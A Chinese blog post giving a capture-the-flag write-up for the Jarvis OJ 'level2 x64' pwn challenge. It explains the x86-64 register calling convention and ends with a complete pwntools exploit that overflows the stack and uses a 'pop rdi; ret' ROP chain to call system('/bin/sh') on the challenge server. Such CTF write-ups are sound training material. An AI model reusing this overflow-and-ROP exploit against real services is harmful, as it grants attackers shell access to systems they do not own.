Jarvis oj level2 (x64) wp

最新推荐文章于 2025-05-27 16:11:27 发布

dittozzz

最新推荐文章于 2025-05-27 16:11:27 发布

阅读量334

点赞数

CC 4.0 BY-SA版权

分类专栏： pwn Jarvis OJ pwn题目 wp

本文链接：https://blog.youkuaiyun.com/qq_43394612/article/details/85850326

pwn 同时被 2 个专栏收录

23 篇文章

订阅专栏

Jarvis OJ pwn题目 wp

8 篇文章

订阅专栏

本文深入解析了64位程序如何通过寄存器和堆栈传递参数，详细介绍了前6个参数使用RDI, RSI, RDX, RCX, R8, R9寄存器传递的规则，以及超过6个参数时如何逆序压入堆栈。并通过一个pwn题目实例，展示了如何利用IDA分析程序，找到pop rdi ret地址，构造payload，最终实现远程执行/bin/sh。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

64位程序前6个参数通过寄存器来传递，多于6个的使用堆栈传递。前6个从左到右依次为RDI,RSI,RDX,RCX,R8,R9。多于六个的从右往左依次压入堆栈

拿到题目检查保护：
在这里插入图片描述
放ida里，还是之前一样的程序：

程序本身有字符串/bin/sh

找下pop rdi ret 在哪：

编写exp：

from pwn import*
  
a=remote("pwn2.jarvisoj.com","9882")

elf=ELF("level2_x64")

system_addr=elf.symbols["system"]

a.recvuntil("\n")

pop_rdi_ret=0x00000000004006b3

bin_sh=0x0000000000600A90

payload='A'*136

payload += p64(pop_rdi_ret) + p64(bin_sh) + p64(system_addr)

a.sendline(payload)

a.interactive()